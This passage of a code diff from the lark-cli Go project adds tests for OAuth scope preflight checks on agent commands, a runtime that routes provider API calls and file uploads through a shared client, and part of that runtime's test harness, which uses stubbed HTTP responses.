return json.RawMessage(resp.RawBody), nil
|
||||
}
|
||||
434
cmd/agent/preflight_test.go
Normal file
434
cmd/agent/preflight_test.go
Normal file
@@ -0,0 +1,434 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
|
||||
// see scripted_provider_test.go) — the all-or-nothing preflight requires every
|
||||
// one of fakescopedAllScopes for any real API verb.
|
||||
func scopedInfo(t *testing.T) iagent.Provider {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
prov, ok := iagent.Info("fakescoped")
|
||||
if !ok {
|
||||
t.Fatal("fakescoped provider should be registered")
|
||||
}
|
||||
return prov
|
||||
}
|
||||
|
||||
// requirePreflightError asserts err is the missing_scope permission error
|
||||
// (exit 3, mirroring the event-consume scope preflight) and returns the typed
|
||||
// value for field assertions.
|
||||
func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("want missing_scope error, got nil")
|
||||
}
|
||||
var pe *errs.PermissionError
|
||||
if !errors.As(err, &pe) {
|
||||
t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
|
||||
}
|
||||
if pe.Subtype != errs.SubtypeMissingScope {
|
||||
t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != 3 {
|
||||
t.Fatalf("exit code should be 3, got %d", code)
|
||||
}
|
||||
return pe
|
||||
}
|
||||
|
||||
// TestPreflightReportsMissingWithIncrementalHint is the all-or-nothing pin: a
|
||||
// user token holding only some of the provider's scopes fails with EVERY missing
|
||||
// scope named (sorted) in both the message and missing_scopes, and a re-auth
|
||||
// hint listing ONLY the missing scopes (the open platform authorizes
|
||||
// incrementally, so re-login with just the missing keeps existing grants — no
|
||||
// merge needed, mirroring cmd/event).
|
||||
func TestPreflightReportsMissingWithIncrementalHint(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
|
||||
Provider: scopedInfo(t),
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
|
||||
t.Errorf("message should list all missing scopes, got %q", ve.Message)
|
||||
}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
// Incremental hint: ONLY the missing scopes (not merged with existing grants).
|
||||
wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read"`
|
||||
if !strings.Contains(ve.Hint, wantScopeArg) {
|
||||
t.Errorf("hint should contain only the missing scopes %q, got %q", wantScopeArg, ve.Hint)
|
||||
}
|
||||
// And must NOT re-list an already-granted scope.
|
||||
if strings.Contains(ve.Hint, "im:message") {
|
||||
t.Errorf("incremental hint must not re-request already-granted scopes, got %q", ve.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightBotNoTenantScopesSkipped pins that with no available tenant scope
|
||||
// list (fetch failed / app unpublished → nil), the bot check downgrades to a
|
||||
// no-op, so the bus/API handshake owns the error.
|
||||
func TestPreflightBotNoTenantScopesSkipped(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsBot,
|
||||
TokenScopes: nil,
|
||||
Provider: scopedInfo(t),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("bot with no tenant scope list should skip preflight, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightBotMissingScopes pins the bot branch: given the app's published
|
||||
// TenantScopes, a missing scope is reported with the BOT remediation hint (add
|
||||
// in the developer console + re-publish), NOT a user re-login.
|
||||
func TestPreflightBotMissingScopes(t *testing.T) {
|
||||
// Tenant token carries 2 of the 4 fakescoped scopes.
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsBot,
|
||||
TokenScopes: []string{"fakescoped:agent_chat:read", "fakescoped:agent_chat:write"},
|
||||
Provider: scopedInfo(t),
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write"}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("bot missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
if ve.Identity != string(core.AsBot) {
|
||||
t.Errorf("error identity should be bot, got %q", ve.Identity)
|
||||
}
|
||||
// Bot hint = console re-publish, NOT `auth login` (that is the user fix).
|
||||
if strings.Contains(ve.Hint, "auth login") {
|
||||
t.Errorf("bot hint must not suggest auth login (user-only), got %q", ve.Hint)
|
||||
}
|
||||
if !strings.Contains(ve.Hint, "developer console") {
|
||||
t.Errorf("bot hint should point to the developer console, got %q", ve.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightBotAllScopesPresent pins the bot happy path.
|
||||
func TestPreflightBotAllScopesPresent(t *testing.T) {
|
||||
if err := preflightScopes(preflightInput{
|
||||
Identity: core.AsBot, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
|
||||
}); err != nil {
|
||||
t.Errorf("bot with all tenant scopes should pass, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
|
||||
// without a scope list) yields nil so the downstream not_configured /
|
||||
// need-authorization path owns the error.
|
||||
func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
|
||||
err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: nil,
|
||||
Provider: scopedInfo(t),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("no token scope list should return nil, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
|
||||
// fakescoped scopes passes the all-or-nothing check.
|
||||
func TestPreflightAllScopesPresent(t *testing.T) {
|
||||
if err := preflightScopes(preflightInput{
|
||||
Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Provider: scopedInfo(t),
|
||||
}); err != nil {
|
||||
t.Errorf("should pass when all scopes present, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
|
||||
// is missing even a single scope fails, and the reported missing set is exactly
|
||||
// the scopes it lacks (not just this-verb scopes — the per-verb concept is
|
||||
// gone).
|
||||
func TestPreflightMissingAnyScopeFails(t *testing.T) {
|
||||
// Missing exactly one scope (attachment) → that one scope is reported.
|
||||
ve := requirePreflightError(t, preflightScopes(preflightInput{
|
||||
Identity: core.AsUser,
|
||||
TokenScopes: []string{
|
||||
"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
|
||||
},
|
||||
Provider: scopedInfo(t),
|
||||
}))
|
||||
if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
|
||||
t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
|
||||
}
|
||||
|
||||
// Only the write scope → the other three are all reported.
|
||||
ve = requirePreflightError(t, preflightScopes(preflightInput{
|
||||
Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Provider: scopedInfo(t),
|
||||
}))
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Command wiring: each verb runs preflight after resolveProvider and before
|
||||
// any real API call. The stored-scope read goes through the storedUserScopes
|
||||
// seam so no test touches the real keychain; zero httpmock stubs are
|
||||
// registered, so any HTTP request would fail the test with a transport error
|
||||
// instead of the asserted missing_scope.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
|
||||
func swapStoredScopes(t *testing.T, scopes []string) {
|
||||
t.Helper()
|
||||
old := storedUserScopes
|
||||
storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
|
||||
t.Cleanup(func() { storedUserScopes = old })
|
||||
}
|
||||
|
||||
// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
|
||||
// explicitly set to user so ResolveAs honors it verbatim.
|
||||
func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
|
||||
t.Helper()
|
||||
parent := &cobra.Command{Use: "lark-cli"}
|
||||
for _, name := range names {
|
||||
child := &cobra.Command{Use: name}
|
||||
parent.AddCommand(child)
|
||||
parent = child
|
||||
}
|
||||
parent.Flags().String("as", "", "identity")
|
||||
if err := parent.Flags().Set("as", "user"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
parent.SetContext(context.Background())
|
||||
return parent
|
||||
}
|
||||
|
||||
// userFactory builds a test Factory + registry for a user-identity run.
|
||||
func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
|
||||
t.Helper()
|
||||
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
return f, reg
|
||||
}
|
||||
|
||||
// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
|
||||
// holds none of the provider's scopes fails with missing_scope
|
||||
// (reporting the full set) and no request.
|
||||
func TestSendPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
|
||||
t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
|
||||
// still fails the all-or-nothing check, reporting the three scopes it lacks.
|
||||
func TestSendPreflightPartialTokenBlocked(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
|
||||
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
|
||||
t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
|
||||
// scope-free — it succeeds even when the token has none of the provider scopes.
|
||||
func TestSendDryRunSkipsPreflight(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("--dry-run should not run scope preflight: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
|
||||
func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskGetRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
|
||||
t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
|
||||
// (resolveDownload path): it too runs the all-or-nothing preflight before the
|
||||
// API call.
|
||||
func TestTaskGetArtifactPreflightFires(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskGetRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
ArtifactID: "art_1", Output: "out.bin",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
|
||||
t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
|
||||
func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskListRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "list"),
|
||||
Ref: "fakescoped:agt_x", As: "user",
|
||||
})
|
||||
requirePreflightError(t, err)
|
||||
}
|
||||
|
||||
// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
|
||||
// wiring: all three run the all-or-nothing preflight.
|
||||
func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
|
||||
runs := []struct {
|
||||
name string
|
||||
run func(f *cmdutil.Factory) error
|
||||
}{
|
||||
{"list", func(f *cmdutil.Factory) error {
|
||||
return agentContextListRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "list"),
|
||||
Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
|
||||
})
|
||||
}},
|
||||
{"get", func(f *cmdutil.Factory) error {
|
||||
return agentContextGetRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "get"),
|
||||
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
|
||||
})
|
||||
}},
|
||||
{"delete", func(f *cmdutil.Factory) error {
|
||||
return agentContextDeleteRun(&contextOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "delete"),
|
||||
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
|
||||
})
|
||||
}},
|
||||
}
|
||||
for _, tc := range runs {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
|
||||
f, _ := userFactory(t)
|
||||
requirePreflightError(t, tc.run(f))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
|
||||
// provider scope set lets the real send proceed (the scripted Send hook fires,
|
||||
// proving preflight did not false-positive).
|
||||
func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
|
||||
swapStoredScopes(t, fakescopedAllScopes)
|
||||
f, _ := userFactory(t)
|
||||
sent := false
|
||||
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
sent = true
|
||||
return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}, nil
|
||||
}})
|
||||
err := agentSendRun(&sendOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
|
||||
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
|
||||
}
|
||||
if !sent {
|
||||
t.Fatal("provider.Send should actually be called after preflight passes")
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
|
||||
// gate (fakescoped card declares task_cancel=false) answers before
|
||||
// provider/preflight, so a scope-missing user token yields
|
||||
// unsupported_capability, not missing_scope — proving the wired
|
||||
// preflight does not change the gate-first ordering.
|
||||
func TestTaskCancelPreflightWired(t *testing.T) {
|
||||
swapStoredScopes(t, []string{"im:message"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskCancelRun(&taskOptions{
|
||||
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "cancel"),
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// swapBotTenantScopes swaps the botTenantScopes seam so no test touches the
|
||||
// app-version fetch / network.
|
||||
func swapBotTenantScopes(t *testing.T, scopes []string) {
|
||||
t.Helper()
|
||||
old := botTenantScopes
|
||||
botTenantScopes = func(*cmdutil.Factory) []string { return scopes }
|
||||
t.Cleanup(func() { botTenantScopes = old })
|
||||
}
|
||||
|
||||
// TestTaskGetBotPreflightBlocksMissingScope pins the bot wiring end-to-end:
|
||||
// preflightScopesForRef gathers tenant scopes via the botTenantScopes seam (not
|
||||
// storedUserScopes) for a bot identity and blocks a missing scope.
|
||||
func TestTaskGetBotPreflightBlocksMissingScope(t *testing.T) {
|
||||
swapBotTenantScopes(t, []string{"fakescoped:agent_chat:read"})
|
||||
f, _ := userFactory(t)
|
||||
err := agentTaskGetRun(&taskOptions{
|
||||
Factory: f, Cmd: taskCmdCtx(t, "get"), // taskCmdCtx sets --as bot
|
||||
Ref: "fakescoped:agt_x", TaskID: "t1", As: "bot",
|
||||
})
|
||||
ve := requirePreflightError(t, err)
|
||||
if ve.Identity != string(core.AsBot) {
|
||||
t.Errorf("preflight error identity should be bot, got %q", ve.Identity)
|
||||
}
|
||||
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
|
||||
t.Errorf("bot task get missing scopes should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
|
||||
}
|
||||
}
|
||||
|
||||
// contains reports whether s appears in the slice.
|
||||
func contains(ss []string, s string) bool {
|
||||
for _, x := range ss {
|
||||
if x == s {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
11
cmd/agent/register_test.go
Normal file
11
cmd/agent/register_test.go
Normal file
@@ -0,0 +1,11 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
// Provider packages are pure data (no init side effect); the top-level agent
|
||||
// package's init aggregates and registers them. In production that package is
|
||||
// blank-imported from cmd/build.go, not by cmd/agent. Several tests here exercise
|
||||
// the real example scheme (example:echo / example:reporter), so blank-import the
|
||||
// top-level agent package to run its registration for the test binary.
|
||||
import _ "github.com/larksuite/cli/agent"
|
||||
107
cmd/agent/runtime.go
Normal file
107
cmd/agent/runtime.go
Normal file
@@ -0,0 +1,107 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
|
||||
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
"github.com/larksuite/cli/internal/vfs"
|
||||
)
|
||||
|
||||
// cmdRuntime is the concrete iagent.Runtime: it routes provider hook calls
|
||||
// through the shared client.APIClient under a pinned identity (mirrors event's
|
||||
// consumeRuntime in cmd/event/runtime.go). Provider code never sees the client,
|
||||
// the identity resolution, or the response-envelope unwrap — that is exactly the
|
||||
// plumbing the old Deps struct leaked.
|
||||
type cmdRuntime struct {
|
||||
client *client.APIClient
|
||||
as core.Identity
|
||||
agentID string
|
||||
}
|
||||
|
||||
func (r *cmdRuntime) AgentID() string { return r.agentID }
|
||||
func (r *cmdRuntime) IsBot() bool { return r.as == core.AsBot }
|
||||
|
||||
func (r *cmdRuntime) CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error) {
|
||||
var params map[string]interface{}
|
||||
if len(query) > 0 {
|
||||
params = make(map[string]interface{}, len(query))
|
||||
for k, v := range query {
|
||||
params[k] = v
|
||||
}
|
||||
}
|
||||
return r.do(ctx, client.RawApiRequest{Method: method, URL: path, Params: params, Data: body, As: r.as})
|
||||
}
|
||||
|
||||
func (r *cmdRuntime) CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []iagent.FilePart) (json.RawMessage, error) {
|
||||
fd := larkcore.NewFormdata()
|
||||
for k, v := range fields {
|
||||
fd.AddField(k, v)
|
||||
}
|
||||
for _, fp := range files {
|
||||
// SafeInputPath is the framework-owned security check (no path traversal /
|
||||
// outside CWD); a provider must never re-implement it.
|
||||
resolved, err := validate.SafeInputPath(fp.Path)
|
||||
if err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err).
|
||||
WithParam("--file").WithCause(err)
|
||||
}
|
||||
f, err := vfs.Open(resolved)
|
||||
if err != nil {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: 无法打开 %s: %v", fp.Path, err).
|
||||
WithParam("--file").WithCause(err)
|
||||
}
|
||||
// Closed when CallMultipart returns, i.e. after do()'s request has read the
|
||||
// body — deferring in the loop keeps every file open for the request.
|
||||
defer f.Close()
|
||||
fd.AddFile(fp.Field, f)
|
||||
}
|
||||
return r.do(ctx, client.RawApiRequest{
|
||||
Method: method, URL: path, Data: fd, As: r.as,
|
||||
ExtraOpts: []larkcore.RequestOptionFunc{larkcore.WithFileUpload()},
|
||||
})
|
||||
}
|
||||
|
||||
// do is the shared DoAPI → ParseJSONResponse → CheckResponse → unwrap-"data"
|
||||
// path. It returns the "data" sub-object as raw JSON (the typed Call[T]/
|
||||
// CallUpload[T] helpers decode it). Identity is sealed in r.as and never handed
|
||||
// out; any non-typed transport error is classified here so hooks only ever see
|
||||
// typed errs.* values.
|
||||
func (r *cmdRuntime) do(ctx context.Context, req client.RawApiRequest) (json.RawMessage, error) {
|
||||
resp, err := r.client.DoAPI(ctx, req)
|
||||
if err != nil {
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return nil, err
|
||||
}
|
||||
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
|
||||
}
|
||||
result, err := client.ParseJSONResponse(resp)
|
||||
if err != nil {
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return nil, err
|
||||
}
|
||||
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
|
||||
}
|
||||
if apiErr := r.client.CheckResponse(result, r.as); apiErr != nil {
|
||||
return nil, apiErr
|
||||
}
|
||||
top, _ := result.(map[string]interface{})
|
||||
dataVal, ok := top["data"]
|
||||
if !ok || dataVal == nil {
|
||||
return nil, nil // no "data" (e.g. a pure write) — callers get the zero value
|
||||
}
|
||||
raw, err := json.Marshal(dataVal)
|
||||
if err != nil {
|
||||
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: re-encode data: %s", req.Method, req.URL, err).WithCause(err)
|
||||
}
|
||||
return raw, nil
|
||||
}
|
||||
207
cmd/agent/runtime_test.go
Normal file
207
cmd/agent/runtime_test.go
Normal file
@@ -0,0 +1,207 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
lark "github.com/larksuite/oapi-sdk-go/v3"
|
||||
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/client"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/credential"
|
||||
)
|
||||
|
||||
// staticTokenResolver always returns a fixed token without any HTTP call.
|
||||
type staticTokenResolver struct{}
|
||||
|
||||
func (s *staticTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
|
||||
return &credential.TokenResult{Token: "test-token"}, nil
|
||||
}
|
||||
|
||||
// stubRoundTripper intercepts every outgoing request with a canned response.
|
||||
type stubRoundTripper struct {
|
||||
respond func(*http.Request) (*http.Response, error)
|
||||
}
|
||||
|
||||
func (s stubRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) { return s.respond(r) }
|
||||
|
||||
// newTestCmdRuntime builds a cmdRuntime whose client routes every request through
|
||||
// rt (mirrors cmd/event/runtime_test.go's consumeRuntime harness). Identity is
|
||||
// pinned to as; agentID is fixed.
|
||||
func newTestCmdRuntime(rt http.RoundTripper, as core.Identity, agentID string) *cmdRuntime {
|
||||
sdk := lark.NewClient("test-app", "test-secret",
|
||||
lark.WithEnableTokenCache(false),
|
||||
lark.WithLogLevel(larkcore.LogLevelError),
|
||||
lark.WithHttpClient(&http.Client{Transport: rt}),
|
||||
)
|
||||
return &cmdRuntime{
|
||||
client: &client.APIClient{
|
||||
SDK: sdk,
|
||||
ErrOut: io.Discard,
|
||||
Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
|
||||
Config: &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
|
||||
},
|
||||
as: as,
|
||||
agentID: agentID,
|
||||
}
|
||||
}
|
||||
|
||||
func jsonResponse(status int, body string) func(*http.Request) (*http.Response, error) {
|
||||
return func(r *http.Request) (*http.Response, error) {
|
||||
return &http.Response{
|
||||
StatusCode: status,
|
||||
Header: http.Header{"Content-Type": []string{"application/json"}},
|
||||
Body: io.NopCloser(strings.NewReader(body)),
|
||||
Request: r,
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_IdentityAndAgentID pins invariant #4: the resolved identity is
|
||||
// surfaced only via IsBot() (never the raw client), and AgentID echoes the
|
||||
// addressed agent.
|
||||
func TestCmdRuntime_IdentityAndAgentID(t *testing.T) {
|
||||
bot := newTestCmdRuntime(stubRoundTripper{}, core.AsBot, "agt_1")
|
||||
if !bot.IsBot() {
|
||||
t.Error("bot runtime should report IsBot()=true")
|
||||
}
|
||||
if bot.AgentID() != "agt_1" {
|
||||
t.Errorf("AgentID should be agt_1, got %q", bot.AgentID())
|
||||
}
|
||||
usr := newTestCmdRuntime(stubRoundTripper{}, core.AsUser, "agt_2")
|
||||
if usr.IsBot() {
|
||||
t.Error("user runtime should report IsBot()=false")
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_CallAPI_UnwrapsData pins do(): a 200 OAPI envelope with code=0
|
||||
// returns the raw "data" object (not the whole envelope), and the typed Call[T]
|
||||
// helper decodes that raw data into a struct.
|
||||
func TestCmdRuntime_CallAPI_UnwrapsData(t *testing.T) {
|
||||
rt := stubRoundTripper{respond: jsonResponse(200, `{"code":0,"msg":"ok","data":{"task_id":"t1","state":"completed"}}`)}
|
||||
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
|
||||
|
||||
raw, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("CallAPI should succeed: %v", err)
|
||||
}
|
||||
var data map[string]any
|
||||
if err := json.Unmarshal(raw, &data); err != nil {
|
||||
t.Fatalf("CallAPI should return the raw data object as valid JSON: %v", err)
|
||||
}
|
||||
if data["task_id"] != "t1" || data["state"] != "completed" {
|
||||
t.Errorf("CallAPI should return the unwrapped data object, got %+v", data)
|
||||
}
|
||||
|
||||
// The typed Call[T] helper decodes that same raw data into a struct — no
|
||||
// map[string]any assertions at the call site.
|
||||
got, err := iagent.Call[struct {
|
||||
TaskID string `json:"task_id"`
|
||||
